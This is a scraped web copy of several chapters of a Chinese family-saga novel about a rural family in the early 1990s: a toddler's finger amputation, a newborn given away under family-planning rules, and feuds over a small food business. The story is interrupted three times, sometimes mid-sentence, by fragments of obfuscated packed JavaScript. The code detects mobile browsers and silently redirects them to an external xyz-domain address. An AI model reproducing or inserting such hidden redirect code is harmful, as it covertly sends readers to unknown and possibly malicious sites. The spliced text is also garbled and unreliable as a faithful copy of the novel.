王博等一行三人骑着自行车到达医院,他抱着争争往急诊跑,同时让林娟赶紧去店里通知李武和王勇。 经过初步消毒后,医生的诊断结果也出来了,李争争的伤口存在两个问题:一是大拇指骨节错位,同时伴有严重感染,二是因为用皮筋儿勒得太紧,时间也太长了,手指末端不过血,已经出现组织坏死。 “那怎么办?该怎么治疗?”王博满头大汗,着急地问。 “哎,你们耽误时间了,孩子骨节难以复原,只能把坏死的部分切掉,局部截肢吧。”医生说。 “她还那么小,话都说不全,不能截肢啊。”陆琳儿祈求医生:“医生求求你,想想别的办法,这个孩子太小了,截肢后一辈子都长不出来了。” “作为我这里已经尽力了,不能再耽误了,你们想想吧。” 医生走后,陆琳儿问王博,“怎么办?” 就在这时,李武和王勇赶来,当李武第一眼看到争争溃烂发青的手指,瞬间惊慌失措,他抱住李争争,一手举着她受伤的小手,问:“怎么了宝宝?” 李争争只是埋在爸爸怀里哭,而李武抱着争争,看着她血淋淋的伤口,心疼得说不出话来。 “大哥,李武。”王博开口:“医生的意思是发现得太晚了,手指已经不过血了,得...得截肢......” “什么?”王勇难以置信,也难以接受,“不行,去别的医院再看看,打车去,现在!快!” 李武抱起李争争跟着王勇跑,王勇到大街上拦了一车出租车,一行人挤进车里,司机一看抱着受伤的孩子,便飞快地朝另一个医院赶去。 结果仍然不尽如人意,医生仍然说得做手术了,手指保不住了。 李武抱着李争争蹲下,一个大男人就那样一点一点矮下去,像是一座被冲倒的山,他不能让孩子看到自己的脸,李武用力捂着嘴,全身颤抖着,压抑地哭了起来。 作为一个父亲,他没办法让医生切掉自己孩子的手指,他心疼孩子那么小小的人儿就要遭受失去手指的痛苦,他也悔恨自己失职,为什么没能一直陪她,一直保护她。 王勇拍拍李武的肩膀,“手术吧,不能再耽误孩子了。” 李武站起来,颤抖着手,签下手术单。 这是一份残缺,李争争从此缺了一根手指,她成为了一个残疾孩子。 35年后的李争争坚定的信奉“不乱生孩子是成年人最大的自律”,她始终百思不得其解: 为什么父母要生那么多孩子? 生了又照顾不过来,或死别,或残缺,或生离...... 没有能力养好,为什么要生呢? 生个儿子真的就腰杆挺直了吗? 22. 生而不养 王惠得知女儿的手指被切掉以后,连续高烧半个多月,她醒着的时候哭,晕着的时候烧,又是一个充满苦难的月子。 李争争做完手术,李武回了广进村一趟,他问赵梅:“妈,争争的手指没保住,做手术了,赶紧给我拿点儿钱交住院费。” 彼时,赵梅正盘腿坐在炕上缝小棉袄,她叹了一口气,“这孩子将来可怎么办呀?到底谁弄的?得揪出责任人对孩子进行赔偿。” 李武两天没睡觉了,面上胡子拉碴,他胸腔憋着一口气,骤然冷笑道:“找责任人?咱们一大家子人没人看这孩子,我还有脸怪人家?” “什么叫咱们家没人看孩子?小惠不在那儿住着呢吗?你别心里有气,就回来冲你妈撒。”赵梅生气道。 李武疲惫地闭了闭眼睛,道:“行了妈,看看家里能拿多少钱,我赶紧送医院去。” “你去柜子里拿,还有一百多块钱呢。”赵梅继续低头缝小棉袄。 “妈!一百多块钱不够,你赶紧给我再凑两百,孩子手术大部分的钱都是王勇垫的,我真是无能死了。”李武狂怒,一巴掌拍在桌面上。 赵梅见他这样,从炕上爬下来,出去一趟回来,递到李武手里二百块钱。 李武拿到三百二十八块钱撒丫子往外跑,跑到中间屋子门框旁,回头说道:“妈,等孩子退烧了,我把她接回家来,你得帮我照顾。” “孩子刚做那么大手术,哪儿能离开她妈?再说了,她妈也离不开她呀?”赵梅继续补充道:“老二,不是我不带,我是担心小惠和孩子难受。” 李武什么都没说,骑上自行车往医院赶去。 李争争出院时,手上胳膊上绑满了纱布,小姑娘并不知道自己已经失去一根手指,她只知道自己很疼,而疼的时候喊爸爸,爸爸会给她一把葫芦形状的小饼干。 —— 北方的十月底,气温已经降到个位数,在昭昭满月之前,李武独自回到广进村的小家,他里里外外地收拾一遍,吃的喝的用的全都准备好,第二天把王惠、李争争、昭昭接回了家里。 因为王惠整个月子的状态都不好,奶水也时有时无,昭昭几乎没怎么吃过母乳,离开了二嫂陆琳儿的照顾,李武这个奶爸终于开始学习如何冲奶粉了。 不过他也只冲了一天。 不!一顿! 王惠想到明天昭昭就要离开自己,心里就揪着疼,这就是血淋淋的骨肉分离呀,王惠抱着小昭昭吃奶,目光落在婴儿长长的睫毛上,王惠说:“武哥,你说咱们真把这孩子送给二哥二嫂养啊?” “那你说怎么办?这孩子出生的时间没满四年,计划生育得罚钱不说,以后也没有再生的机会了,就送给二哥二嫂养吧,他们不会亏待孩子的。”李武安慰她。 “那这孩子长大了会不会恨咱们呀?”王惠说着话,泪水从眼角流下。 “想哪儿去了?就一孩子,她懂什么?” 就一孩子,她懂什么? 父母仗着自己什么都懂,就欺负一个刚出生的婴儿。 她将来会长大,会慢慢懂事,也一定会疑问:生而不养,为何要生? —— 第二天,昭昭满月,赵梅一大早就过来安排,她让村里卖菜的人送来食材,又找了相熟的妇女过来做饭,前院借桌子,后院借凳子,左院借茶杯,右院借餐具,给自己好一通忙活。 不一会儿,李同仁和村长赵德发有说有笑地进院子,赵德发问:“我能去里屋看看孩子吗?” 李同仁没有半秒犹豫,男人的步子迈得大,三步五步就跨进屋里,李同仁直接掀开里屋门帘,向赵德发做了一个请的手势。 “哎哟,老二媳妇儿能干呀,又给老李家添一个大孙女儿。”赵德发说,“来,让我来看看孩子。” 王惠半靠在炕头,身上盖着毯子,头上包着头巾,她面部浮肿,嘴唇发白。王惠点了点头表示礼貌,还没来得及说话,李同仁就率先开口:“哎?不能说是我们老李家的大孙女儿啦,孩子送给老二媳妇的哥哥了,下午会直接抱走。” “啊?那你这办的......” “得遵守计划生育呀,是想间隔四年的,可孩子怀了,又提早生了,那能怎么办呢?这也是一条命啊。”李同仁十分悲痛惋惜,还暗含慈悲地说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608302|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “行啊,就是老二媳妇儿受罪了。” “老赵啊,我们为了支持你工作,可是把孩子都送走了,你可得表扬表扬我们老二,等再过一年,他们两口子再要一胎,到时候可就合情合理合法咯。”李同仁在和赵德发强调下一个孩子的名额,多可笑啊,昭昭才出生一个月,两个和王惠毫不相干的男人又在打她子宫的主意。 “再过一年就到时间了吗?老大几岁了?”赵德发质疑。 “老大快三岁了,等再怀上,生下来,可不就间隔四年了吗?” “来来来,宾客们这边写礼。”院子里渐渐热闹起来,招呼人们写礼的是李斌。 王惠听着外面唱份子钱: “郭桥,乡亲包子,18元” “李木,本家堂兄弟,28元” “李林,本家堂兄弟,28元” “李玉彤,乡亲包子,18元” ...... 王惠感到讽刺,原来这个满月酒有两道用处呢,一是为了公公在村长面前演一出配合工作、自我牺牲的大戏,连带强调再生一个的名额;二是办满月酒收份子钱呀。 就在这时,向华抱着儿子李光宗进屋,“二嫂,月子坐得怎么样啊?” 王惠唇角僵直,她想笑,可怎么都笑不出来,“还行吧。” “给我看看大侄女儿。”向华把李光宗放到炕上,扯开昭昭的小被角儿看,“这孩子长得真水灵,我给孩子带了套衣服过来。” 向华从挎兜里拿出一套淡蓝色的小衣服,王惠一看就哽住了,那套衣服是李光宗满月时王惠送的,现在被向华原封不动地又送回来。 向华说:“二嫂,这套衣服还是你送的,不过男孩长得快,光宗衣服也多,他满月的时候,那小衣服,都堆成山了,这套没穿,我又给你拿回来了,你不会介意吧二嫂?” 王惠摇摇头,什么都不想说。 就在这时,白白胖胖、虎头虎脑的李光宗爬向昭昭,一巴掌就要按在昭昭身上,王惠眼急手快地抱起昭昭。 向华也赶紧抱起李光宗,“抱歉啊二嫂,孩子不懂事,我把他抱走。” 23. 胡搅蛮缠 王惠在农村老家一天都呆不下去,第二天他们就收拾东西回城里了。 一是因为她看到争争手上血淋淋的伤疤就心尖发疼,她想快点到城里给争争看医生;二是因为老家这些人不是在背后戳人脊梁骨,就是在背后算计。 王惠去还邻居盘子碗,听到他们说自己心狠,把孩子送了。 王惠去商店退烟酒,听到他们说自己见钱眼开,把孩子卖了。 王惠去老宅吃晚饭,听到他们说自己肚子不争气,怕是个绝户的命。 王惠努力控制情绪,赵梅却还是在饭桌上说:“老二,小惠,今天孩子满月酒收的份子钱,我跟你爸就留下了,来的人都是之前我们走动过的,有些还是你爸的老部下,你们两个刚成家,以后慢慢走动自己的关系网,等再办事收礼的钱你们再自己拿着。” 这算盘珠子都崩王惠脸上了,但是她精气神儿实在太弱,气血双亏,她都懒得跟赵梅掰扯,那些份子钱里还有自己父母兄弟出的钱呢。 吃过晚饭,李武和王惠走在漆黑的胡同里,一个不留神王惠险些被滑倒,李武一把拽住她的胳膊,王惠低声喃喃:“这里路真滑,人心太复杂。” —— 回城里后,王惠先在租的房子里休养,李斌住在她们隔壁屋,这老房子隔音差、嫂子和小叔子一起生活毕竟不便,可王惠也没说什么。 她的注意力全在李争争身上,孩子才两岁,她只知道自己受伤了,却不知道自己的手指再也长不回来。王惠每三天带她去换一回药,伤口渐渐愈合,可遗憾永远不会。 后来王惠开始去店里,争争越来越大,也好带了,王惠就带着争争在里面看小卖部,李武和李斌一起开烙饼摊。 一切渐渐回归正轨,可李斌却觉得嫂子在侵占他的地盘儿。 从住房不便,到嫂子把哥哥赶出来抢烙饼摊儿都让李斌不舒服。当天下午,李斌骑上自行车回了广进村。 第二天一大早,赵梅和李斌一起来到店里,那时李争争正在画本上胡乱涂鸦,王惠则在一旁安静地翻看《收获》杂志。 有一次李武去学校给李超超送衣服,偶然看见李超超的老师正在看这本书,他想起王惠爱看《红楼梦》,估计也喜欢这个。 于是他鼓起勇气询问,原来这是一份可以长期订购的杂志,每两个月更新一期,这下他更开心了,每两个月给媳妇儿更新一本书,对于李武这个大老粗来说简直如获至宝,媳妇儿一定很开心。 于是他问人要了订购方式,给王惠订了这份杂志。 门帘突然被掀起,王惠回头一看,原来是赵梅和李斌,她笑着问候:“妈,你来了。” “啊,来了。” “你们吃饭了吗?” “没呢。”赵梅答。 王惠站起身,“没吃饭啊,我去给你们打包小笼包和豆腐脑儿,大早上的不吃饭哪儿行啊。” “老二呢?”赵梅问。 “他去进货了,九点来钟回来。” “行。” “妈,你们等着啊,我一会儿就回来。”王惠说。 “去吧。”赵梅理所当然。 赵梅和李斌吃完早饭,李武还没回来,李斌开始活面、醒面,准备支烙饼摊儿。 赵梅拿了个凳子坐下,把李争争拉到怀里,伸手握住她的右手,无比惋惜地感叹道:“我大孙女儿可惜啊,这手以后可怎么办呐?” “妈,别说了。”王惠听不得别人说她女儿的手,别人一提就像在撕她的伤口。 “不提怎么办?还不是在你娘家弄伤的?赖谁呀?我们这孩子一辈子都好不了了。”赵梅苛责道。 “妈!不要再说赖谁了,我当时大着肚子,马上就要生了,我说让您帮我带两天,您答应了吗?”这是王惠第一次正面回怼赵梅。 “我当时忙得团团转,我带得了吗?” “是,您当时忙着带您的大孙子,当然没时间带争争了。” “王惠,你怎么回事儿?成心找茬儿是吧?有你那么当儿媳妇儿的吗?”赵梅怒骂道,一时之间竟分辨不出到底是谁在找茬儿,“是不是你不让老二看店的?把他从店里赶到烙饼摊儿,想把老三挤走是吧?” “妈,这都哪儿跟哪儿啊?烙饼摊不是他们哥俩一起弄呢吗?您想多了,我可不是这意思。”王惠说。 “你不是这意思?你来店里第一天,我们老三就在城里呆不下去了,你不是这意思什么意思?”赵梅在店里大喊,“你一个外姓的,刚嫁进我们老李家的儿媳妇,现在就想当家作主是吧?” “妈,我一个外姓的?你不也姓赵吗?再说了,咱们已经分家了,我在我的小家里当家做主也没问题吧?” “什么没问题?我跟你爸还没死呢!”赵梅吼道。 王惠嘴笨,是个不会吵架的女人,可她心里明镜似的,她清清楚楚地看到了人性的丑陋。 人是真的可以颠倒黑白、胡搅蛮缠的。 就在这时,李武进货回来,他一听声音不对,来不及卸下自行车上的蔬菜瓜果,把车靠墙根儿一丢,赶紧跑进店里,“妈,你怎么来了?” “我怎么来了?你这儿我来不得是吧?”赵梅无理搅三分。 “妈,你这说的什么话,怎么会不让你来呢?”李武嘴上安慰赵梅的情绪,身体上前抱了王惠一下,安抚地在她背上拍了拍。 “看看你这个媳妇儿,眼里哪儿有我这个妈!哪儿有咱们这个家?你们发达了就忘了村儿里的穷家是吧?” 李武伸手从货架上拿了一瓶水,说:“妈,来来来,坐下,喝口水,我听听你们俩怎么回事儿。” 王惠不想让李武两边为难,干脆拉起李争争气冲冲地往王勇店里走。 “老二啊,你媳妇儿是不是嫌弃老三在这儿啊?老三拿的工资也不多,干的都是脏活苦活累活,你们两口子没有必要把他往家里赶吧?”赵梅掏出手绢儿,默默擦泪。 “赶老三回家?没有的事儿啊,妈,是不是哪儿有误会?”李武云里雾里,不过他笃定王惠不会干这种事儿。 “怎么不会?没有的话,老三怎么会回去?” “对啊,我也想问呢,昨天他回去都没跟我说一声儿。”李武拍拍赵梅的肩膀,“我去问问老三,你肯定想多了妈。” “哎?老二,你先别去呢,妈跟你商量商量。”赵梅把李武拉到对面凳子上坐下,问:“你能不能把烙饼摊儿给老三啊?这个小卖部儿还不够你们两口子赚的吗?” 不怕贼偷,就怕贼天天惦记。 李武为难,“妈,这个烙饼摊儿也是小惠她哥让我们开的,有多一半收入是给她哥店里供货,你让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694330|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怎么直接给老三啊?” “可老三就那么个能干的活计了,他不干这个就又想去跑车。”赵梅两手拍着膝盖,着急地哭,“你说我能让他去跑车吗?他那病怎么来的?老二啊,你体谅体谅妈,妈就是想给老三找个生计,让他有点儿收入,至少能养家糊口了。” “妈,我上次和小惠商量了,要不这样,我们俩出点钱,您再一起凑点儿,咱们给老三在城里开个别的店?主要这个店牵连着我老丈人家里,我跟他们开不了口啊。” “他能开个什么店啊?我就想让他离你近一些,有什么事儿,你能照料他。”赵梅拉住李武的手,用请求的口吻说:“老二啊,你再和小惠商量商量,你实在搞不定你媳妇儿,妈去求她!” 其实,赵梅就是想把李武和李斌强行捆绑在一起,万一哪天自己不在了,至少还有李武管他一辈子。 李武觉得赵梅的话就像是大嘴巴子,一下一下地抽在他脸上,李武说:“我商量商量。” “那行,商量完你和老三一块儿回家一趟,妈在家里等你们。” 说完,赵梅擦着泪,起身离开了。 —— 李武来到王勇店里找王惠,店里找半天没有,他又来到后院儿。 果然,林娟在后院洗青椒,王惠坐在她旁边正在嘀咕,李争争在不远处荡秋千,秋千是王勇用麻袋和粗绳给李争争定做的,小姑娘可喜欢躺在里面了。 李武站在王惠身侧,问:“还生气呢?回家吗?” “回什么家?那是你们家,你妈都安排好了,你们两兄弟,一个守店里,一个守店外,跟我有什么关系?”王惠愤愤地说气话。 李武轻扣住她的后脑勺,安抚了两下,说:“说什么傻话呢?咱们俩是两口子,我妈刚才是吵架的气话,你别往心里去,走了走了,回家了。” “快去吧小惠,解决问题。”林娟撸了撸沾湿的袖口,劝说道。 “走了走了。”李武揽住她的肩膀,又看向李争争,“闺女,你和大舅妈玩会儿。” 回去以后,李武探头出来和李斌说:“老三,你看会店,我跟你二嫂说句话。” 李斌当然知道他们说什么,笑着答应。 李武拉着王惠来到阁楼,他从背后抱住王惠,柔声说:“媳妇儿,你刚刚真生气了?” “我可不就是真生气了吗?你一进门只安抚你妈的情绪,我的情绪不是情绪吗?”王惠仍然气鼓鼓。 “好好好,我错了,下次再发生这种情况,我一定向着你说话。” “哼,没有下次了。”王惠傲娇地说。 “媳妇儿,我想跟你说个秘密。” “什么秘密?”王惠猜想着,“你不会在外面有人儿了吧?” “怎么可能?”李武捏她的胳膊以示惩罚,“你先答应我,这个秘密不能告诉任何人。” “你爱说不说,我答应不了。”王惠拍开他的手,假装要离开。 “媳妇儿!”李武抱着她挠痒痒肉。 王惠咯咯地笑,实在受不了了,她说:“行行行,你说你说,兜那么大一圈子,我倒要看看是什么秘密。” 李武表情变得严肃,他揽着王惠坐到小单人床上,郑重地说:“其实老三一直有病。” 王惠惊讶,转头看他,问:“啊?什么病?” 24. 合伙骗婚 李武深呼吸一口气,说:“是精神方面的病,他结了婚以后倒是没犯过,不知道有没有彻底好,这件事一直是妈心里的定时炸弹。” 王惠是个心软的女人,她丝毫不知盲目心软是一种病,同情地问道:“是怎么得的?什么时候的事儿?” 李武一条胳膊搭在王惠肩膀上,摩挲着她的衣服上的扣子,说:“大概十四五岁的时候,他和三姨夫一起去山西拉煤,当时开的是那种蓝色大卡车,在回程的路上出了车祸,三姨夫让老三下车去看,结果看到一大片血肉模糊,人当场就没了,老三哇一下子吐出来,之后就总说有人跟着他,再后来就出了问题。” “啊?那么严重呢?”王惠捂住嘴巴,这对她来说简直就是惊吓,“老三这是受刺激了?” “身体没事儿,精神上刺激大发了,妈到处求医问药,也求仙问神都无济于事。后来听人说保定市里有精神病医院,就把老三送过去住了一年,他才渐渐好起来,之后复发过几次,倒不太严重。” 出于女人善良的同理心,王惠一闪而至想到什么,她大眼珠子一转,拉住李武的手,认真地问:“老三娶媳妇儿的时候,跟他媳妇儿说实话了吗?” 李武摇摇头,“她不知道,妈不让人说,怕他媳妇儿跑了。” 王惠的认知再次被击碎,她不能接受一个女人在婚姻大事上被欺骗,她脱口而出:“那你们不就是合起伙儿来骗婚?” “没那么严重,老三好了,应该不会再复发了,他都三四年没去过医院了。”李武抱住她,说:“所以,你知道妈为什么那么想给老三弄个营生了吧?” “妈太可怕了,这不是坑人吗?”王惠还陷在向华被骗婚的思绪里。 她顿了一下,觉得哪里不对,反问道:“那妈也不能盯着咱们手里的呀,你是他哥,又不是他爸!再说了,烙饼摊除了我哥的批量订单,咱散着卖挣钱吗?” 李武想了一下,“确实,散着卖确实不挣钱。” “哎?咱们要不然这样。”王惠脑子活络,她想起今天早上去买早点,正好早点铺子在转让,她说:“要不让妈给老三盘个别的店呢?” “什么店?”李武问。 王惠说:“火车站旁边的早点铺子在转让,那儿地界好,生意也好,让老三多给那店主点钱,跟人学学手艺,把他媳妇儿接过来,两口子一起干,多好?” “也是,两口子干一个店,只要心齐,很快就能干起来。”李武点头认同。 王惠得意地说:“是吧?是吧?你快去跟你妈说,哪儿找我那么好的儿媳妇去?咱们这是‘授人以鱼不如授人以渔’,盘早点铺子不比弄烙饼摊儿强啊?” “是啊,我媳妇儿就是聪明。”李武抱紧她,又问:“媳妇儿,我妈要是说让咱给老三出点儿钱,怎么办?” 王惠一把推开李武,坐直身体,问:“你当初开店,你妈给你出钱了吗?别说出钱,你借钱,你妈给你了吗?” “没有。” 王惠站起身,又问:“那你现在身上还背着多少债,你算过吗?” “只知道大概,没算过细的。” 王惠叉着腰,“那不得了,你现在还欠王勇同志1700元整,你说说老三这钱咱出不出得起?” 李武像个被老师教育的小学生,他说:“行吧,我知道了。” 王惠看得出李武的失落与无能为力,她伸出三根手指,霸道地说:“等等,最多出三百。” 李武抬头,看着王惠笑了,然后突然抱起王惠转圈儿,一边转一边说:“我就知道我媳妇儿最通情达理了。” “通情达理可不是什么好词儿,少道德绑架我。”王惠被他转得头晕,她笑着说:“再说了,你妈说我是外姓人,可不是你们李家人。” —— 当天下午,李武和李斌一起回广进村,他们骑着自行车走在乡间土路上。 北方凛冬向来萧瑟,日头西落得越发早了,光秃秃的枝干上卧着几只乌鸦,它们蜷缩着脑袋,瑟瑟发抖。 两道军绿色大衣的身影在荒凉的田野里慢慢移动,李武的军大衣是王书珺在刚入冬时送的,三个儿子和一个女婿同样待遇,每人送了一件;而李斌的军大衣是他跟赵梅要的,他看见二哥有了,羡慕得不行,和赵梅说到第三遍才求磨来的。 出门时,王惠塞给李武一副毛线手套,是她亲手织的,而此刻,那副手套被一分为二,李武和李斌各戴了一只。 李武骑得快,他一边骑一边扭头和李斌说话,“老三,我和你二嫂商量了一下,你说让妈给你盘个更大的店怎么样?” 李斌猛蹬两脚自行车,追上李武,问:“二嫂把着烙饼摊儿不放?” “不是,你嫂子心眼儿那么好,她是那样的人吗?”李武不悦道。 “那她为什么不给我烙饼摊儿?我现在只学会烙饼了。”李斌理所当然地说。他从小被宠到大,在这家里,只要是他看上的东西,全部都能属于他,即使他拿不到,他妈也会帮他拿到。 “你过来那么久了,应该也知道,其实烙饼摊的生意主要靠你嫂子她哥,咱们散着卖,量起不来。”李武耐心地给他解释:“我跟你嫂子商量,要不就一起凑钱给你开个早点铺,到时候你还可以把向华接过来。” “可是我不会做早点。”李斌听到否定的答复,有些生气。 “不会做可以学啊,你一开始就会烙饼啊?还不是我手把手教你的?你嫂子今天早上去买早点,正好火车站旁边那个铺子在转让,你嫂子问了能教技术,多花点儿钱的事。” “万一我做不好,赔了怎么办?我跟着你做至少能赚钱,我自己做万一赔钱了呢?” “做生意可不就得承担风险?你放心,你嫂子说的那个位置差不了,只要你勤快肯干,嘴甜点儿,买卖不会差。” “你先跟妈说吧,我不行,我怕赔钱。”李斌呛声拒绝。 “做生意哪儿有只赚不赔的?你接下烙饼摊儿,不也有赔的风险吗?” “那能一样吗?烙饼摊儿现在生意稳定,再说了我挨着你,有什么事儿你都能给我解决啊。” “行,合着你只想吃现成儿的,干脆这么着,我把所有东西都给你,直接给你扛长工去得了。”李武用半笑不笑的表情掩饰内心的讽刺。 “二哥,我就是想跟你搭伙儿一起干,我又不是不出钱,也不是不出力,现在我想要烙饼摊,不就是想给你一部分钱吗?”李斌正儿八经的地说,“给了你钱,你就可以把欠王勇的钱还了呀。” 看吧,从小就有恃无恐的人,连占便宜都占得理所应当。 他们正好赶着晚饭点儿到家,刚停好自行车,赵梅掀开门帘说:“回来啦?快!洗手吃饭。” 李斌一家三口自从搬到赵梅跟前儿住,一日三餐很自然地就凑在一起吃了。 向华不会做饭,也从不开火,赵梅乐呵呵地给她找理由,“咱们挨得那么近,开两灶火多费煤呀,再说了,爷爷每天都得抱抱光宗。” 李超去了寄宿学校念高中,所以家里只有李同仁、赵梅、李武和李斌一家。 在饭桌上,赵梅一边吃一边问:“老二啊,我上午跟你提的事,你媳妇儿怎么说?”赵梅一句话,将矛头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704094|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直指向王惠。 李武撕了一块饼,正在往饼上放咸菜丝,“妈,这事儿是我和小惠商量的,您看......” "我二嫂不同意!"李斌直接打断他,说:“给我二哥出主意,把我挤出去单干。” 李武放下刚裹好的饼,非常严肃地看着李斌,“老三,我再跟你强调一遍!不是把你挤出去,烙饼摊儿除了王勇给咱们的利润,散着卖不挣钱,你与其做个没什么利润的烙饼摊,不如盘早点铺子,那个店面就挨着火车站,将来生意差不了。” “你也说了将来,我二嫂什么意思?”李斌‘啪叽’把筷子往桌面一桌,说话越来越横,好像李同仁、赵梅在一旁能给他撑腰似的,李斌继续说:“二哥,不就是现成的、能挣钱的摊位你们俩不给我吗?你们俩不给我,行!我拿钱买啊,我又不是不给你出钱。” 李武看着他,叹了口气,转头跟赵梅说:“妈,今天早上小惠去买早点看上个好铺面,人老板还能教技术,我们俩建议大家伙儿一起凑钱给老三把那个店盘下来,到时候他们两口子一起去城里干。” “老二啊,你媳妇儿怎么那么不吃亏儿啊?不知道吃亏是福吗?你说就一临时搭出来的破烙饼摊儿,你媳妇儿至于费尽脑筋地搪塞我们吗?早点铺子要是真好,她指定鼓捣你去干啊。” 赵梅句句针对王惠,她心里也是那么想的,因为她这个二儿子在结婚前什么事都听她的,结婚后开始慢慢失去掌控。 李武简直气愤至极,一片好心当成驴肝肺,同时他也很伤心,都是一个爹一个妈生的,待遇永远天差地别。 李武放下筷子,说:“妈,这饭真没法儿吃了,你能不能考虑考虑我的感受啊?我当初想开店,怎么回来求你的?你怎么打发的我?好,你不借我钱,我跟别人借,我跟我大舅子借,这刚开起来,我债都没还完呢,你就让我割一半给老三,你让别人怎么看我啊?我在父母面前都没有位置,别人能拿我当回事儿吗?” “老二你说什么呢?手心手背都是肉,你一大男人怎么想那么多?是不是你媳妇儿给你耳边风吹多了。”赵梅刻薄地说。 “妈,你就是偏心眼儿,偏心眼儿你为什么还不承认呢?你从小就偏,大哥学习好,老三年纪小,老四是闺女,我呢?!我呢?!我在你跟前儿就占了一勤快!” “老二,你那么说就冤枉妈了。” “我冤枉你?你老说手心手背都是肉,是,都是肉,可在你这儿挡风雨的永远是手背,接东西的永远是手心,手心手背怎么可能会一样呢?小时候家里穷,我们四个抢一个鸡蛋吃,鸡蛋黄给老三,鸡蛋青你一掰两半儿,大哥一半,老四一半,轮到我只有一个烤糊了的小土豆儿,这是不是事实?” 李武越说越委屈,越说越激动,当着弟媳妇和小侄子的面儿,他不想太丢人,最后干脆起身离开,“啪”得一下甩上屋门。 “老二,你回来!给我坐下把饭吃了。”李同仁终于吱声儿,他命令道。 李武充耳不闻,戴好手套和围巾,冲出到院子里一看,寒风呼啸,大雪纷飞。他不管不顾,蹬上自行车黑灯瞎火地往家赶。 对的,有王惠在的地方,才是属于他的温暖的家。 这夜都冷透了,李武的心里像凿开了个大洞,呼呼往里灌风。 他顶着风雪艰难前行,军大衣被打湿了越来越沉,雪花落在头上先是化成水再是结成冰。 漆黑荒蛮的野地里,李武独自挣扎。 这老家儿要是偏了心呀,连他们自己都不觉(jiao三声),歪着心眼子办出来的事儿,永远说得名正言顺。 25. 险出人命 李斌想要烙饼摊这事儿一直商量不下来,这一大家子人开始对王惠产生意见。 在赵梅的哄劝之下,李斌还是回来和李武一起烙饼,只是他的脾气越发暴躁,做事情总是没头没尾、敷衍了事。 王惠知道他生病的情况,也不敢惹他,总是事事顺着他的心意,再偷偷让李武给他收拾烂摊子,这种表面上的平静持续到第二年春天。 1993年4月,春日乍暖,草绿花香,新生与希望并肩而来。 小卖部的生意越来越好,三岁半的李争争出落得越发可爱,粉雕玉琢的小脸蛋肉嘟嘟的,乌黑莹亮的大眼睛尽是灵气,街坊邻居们都夸这丫头:“真是会随啊,随的都是爸爸妈妈的优点。” 李争争凭借颜值,很快成了这一片儿最招人稀罕的小女孩。 这天早上,李武蹬着三轮板车去批发市场进货;王惠理完货,从货架后面拿出一本《平凡的世界》来看,这是她专门去新华书店给自己买的;李争争则在一旁拿着画笔胡乱涂鸦。 王勇店里的前台伙计磊子像往常一样来到饼摊前,他问:“斌哥,今天的饼好了吗?” “还要30张?”李斌问。 “对,还是30张。” “等会儿我给你送过去吧。”李斌今天早上起晚了,这会儿才把头一张饼放锅里。 “今儿来晚了呀斌哥?”磊子大咧咧地问。 李斌停下擀面饼的手,眼神直勾勾地盯着他。 王惠听到他们两个的对话,也没在意,继续低头看书。 李斌因为李武和王惠不同意把面饼摊送给他,一直心生怨气,后来又厚着脸皮来人家这儿打工,心里变得异常敏感,磊子这句听在李斌耳朵里,就像是拿着大喇叭告诉王惠他迟到了。 磊子是个刚初中辍学的孩子,他见着李斌这眼神,登时被吓到,摸摸后脑勺,又尴尬地笑笑,怂道:“斌哥,别急,十张十张的送过来也行。” 说完,磊子转身往店里跑,而李斌默默盯着他的背影。 眼看烙出来十多张饼,王惠出来说:“斌子,我去给驴火店送吧。” 李斌按下烙饼,语气和缓地说:“嫂子,我去吧,你不用在这里监工。” 一句话说得王惠不知道怎么回,她想和李斌解释没有监工,可李斌好像从来听不进别人的话。 算了,王惠没说什么,掀开门帘进屋了。 李斌用擀面杖挑起一张张饼,整齐地放在排子上,神色如常地往驴火店走。 进到店里,他环视一圈儿,没有找到磊子,李斌走进主食明档,把烙饼整整齐齐码放好。他又顺着明档往后厨里张望,后厨有两个老师傅,一个在炖肉,一个在拌凉菜。 “斌子,早上吃饭了吗?”林娟猛然打断李斌的张望,吓得他一个激灵。 李斌回过头来,说:“吃了。” “吃了呀,我还想给你拿俩驴火呢。”林娟在收银台前擦桌子,背对着他说。 这话好像换回了一点李斌的理智,他笑笑,问:“嫂子,我能用下厕所吗?” “去吧,这有什么好问的,三急还能憋着呀?” 就在李斌快走出后院的门时,林娟突然喊他:“斌子!” 李斌背影僵了一下,他面无表情,回头问:“嗯?” “你怎么回事儿?把擀面杖放回来,这玩意儿能带去厕所吗?”林娟把抹布往桌台上一放,笑呵呵地说他。 “哦。”李斌把擀面杖放在离出口最近的桌子上,转身往厕所走去。 “怎么回事?斌子今天怎么怪怪的。”林娟自言自语道。 